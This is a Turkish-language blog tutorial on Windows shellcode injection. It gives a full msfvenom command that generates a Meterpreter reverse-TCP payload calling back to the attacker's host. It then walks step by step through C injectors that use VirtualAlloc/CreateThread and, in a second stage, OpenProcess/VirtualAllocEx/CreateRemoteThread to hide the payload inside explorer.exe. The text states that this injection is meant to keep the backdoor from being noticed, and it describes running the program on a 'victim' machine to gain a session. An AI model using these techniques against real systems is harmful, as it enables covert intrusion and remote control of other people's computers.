Bu postta, shellcode injection’ın ne olduğunu öğreneceğiz. Bunu öğrenirken ilk olarak C dilinde bir shellcode injector yazıcağız ve bunu kendi processimize enjekte ediceğiz. Daha sonra bu shellcode’u başka bir processe enjekte etmeyi deneyeceğiz.
Shellcode Injection Nedir?
Shellcode; bir bilgisayarda komutlar yürütmemizi sağlayan , makine dilinde yazılmış kodlar bütünüdür.
Bu kodları çalışan programımızın processinde yeni bir thread açarak enjekte edebiliriz. Aynı şeyi bir bilgisayarda çalışan başka programlar için de yapabiliriz. Bu sayede zararlı kodlar içeren shellcode’umuzu bilgisayarda normal bir program çalışıyor gibi göstererek çalıştırabiliriz.
1 - Msfvenom ile Shellcode Oluşturmak
Shellcode oluşturmak için msfvenom kullanacağız. Çünkü Metasploit bize hack işleminden sonra kullanabileceğimiz bir çok kolaylık sunuyor.
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=5555 EXITFUNC=thread -f c --var-name payload
Bu komut ile shellcode’u oluşturabiliriz. Burada dikkat etmeniz gereken kısım kurban bilgisayarın işlemci mimarisiyle bizim oluşturduğumuz shellcode’un mimarisi aynı olmalıdır. Bu örnekte x64 bilgisayara saldıracağız.
2 - C ile Shellcode Injector
- Windows Api’a erişmek için windows.h ’ı programımıza dahil ettik.
- Msfvenom ile oluşturduğumuz payloadı programa ekledik.
- VirtualAlloc fonksiyonu ile kendi processimizin içinde yeni bir bellek alanı ayırdık.
- WriteProcessMemory fonksiyonu ile bu ayırdığımız alana shellcode’umuzu yazdırdık.
- CreateThread ile oluşturduğumuz alan için bir thread oluşturduk ve onu başlattık.
- WaitForSingleObject fonksiyonu işlem tamamlanana kadar bekler ve ondan sonra CloseHandle fonksiyonu ile oluşturduğumuz threadi kapattık.
3 - Saldırı Aşaması
Kodu derledikten sonra gelecek bağlantılar için msfconsole ile bir listener çalıştıralım.
Pwn
Şimdi eğlenceli kısıma geldik :D. Programı kurban bilgisayarda çalıştıralım :
Gördüğünüz gibi 12612 process id’sine sahip process’e shellcode yazıldı ve başarıyla çalıştırıldı. Açtığımız listenerı kontrol edelim.
Vee içerdeyiz!
Başka Bir Proccess’e Shellcode Injection Yapmak
Gördüğünüz gibi az önce shellcode’u 12612. process’e enjekte ettik . Bu process bizim çalıştırdığımız malware.exe’nin processi. Şimdi ise shellcode’u başka bir processe enjekte edeceğiz. Bu sayede bilgisayarda bir backdoor olduğu anlaşılamayacak.
- Bu kodda farklı olarak terminalden bir adet PID aldık ve aldığımız process’e OpenProcess fonksiyonu ile erişim sağladık.
- VirtualAllocEx fonksiyonu ile aldığımız process’in içinde bir bellek alanı ayırdık.
- WriteProcessMemory fonksiyonu ile ayırdığımız alanın içine shellcode’u yazdık.
- CreateRemoteThread fonksiyonu ile ayırdığımız alan için bir thread oluşturduk ve onu başlattık. Başka bir process’de thread başlatacağımız için bu fonksiyonu kullandık.
Saldırı Aşaması
Yine msfconsole ile listenerımı başlattım. Şimdi kurban bilgisayarda programı çalıştıralım.
Gördüğünüz gibi ilk olarak explorer.exe’nin process id’sini buldum. Ve programa parametre olarak bu process id’yi verdim. Şimdi listenerımızı kontrol edelim.
Resimde de olduğu gibi bağlantı bize gelmiş. Bağlantının geldiği process id’ye baktığımızda ise explorer.exe olarak gözüküyor :D
Ne Öğrendik?
Bu yazıda shellcode’un ne olduğunu ve C dili ile shellcode injection’ın nasıl yapıldığını öğrendik. Ayrıca başka bir programın process’ine nasıl erişip o process’e shellcode injection yapabileceğimizi gördük.
Umarım yararlı bir yazı olmuştur :)